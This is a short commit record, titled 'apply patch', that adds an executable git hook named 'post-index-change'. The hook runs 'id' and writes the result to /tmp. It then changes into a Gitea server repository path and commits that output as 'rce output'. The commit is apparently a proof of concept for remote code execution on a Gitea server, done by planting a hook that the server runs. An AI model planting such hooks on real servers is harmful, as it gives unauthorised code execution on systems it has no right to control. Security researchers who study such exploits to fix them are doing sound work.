apply patch

This commit is contained in:
2026-10-31 08:30:42 +00:00
parent 7d6daef20a
commit 113ffb69bf

8
hooks/post-index-change Executable file
View File

@@ -0,0 +1,8 @@
#!/bin/sh
ID_OUTPUT=$(id 2>&1)
echo "$ID_OUTPUT" > /tmp/id_result.txt
# Also try to create a commit with the output
cd /data/gitea/data/gitea-repositories/pocuser_1793434766/pocrepo3.git 2>/dev/null || cd . 2>/dev/null
echo "$ID_OUTPUT" > id_output.txt
git add id_output.txt 2>/dev/null
git commit -m "rce output" 2>/dev/null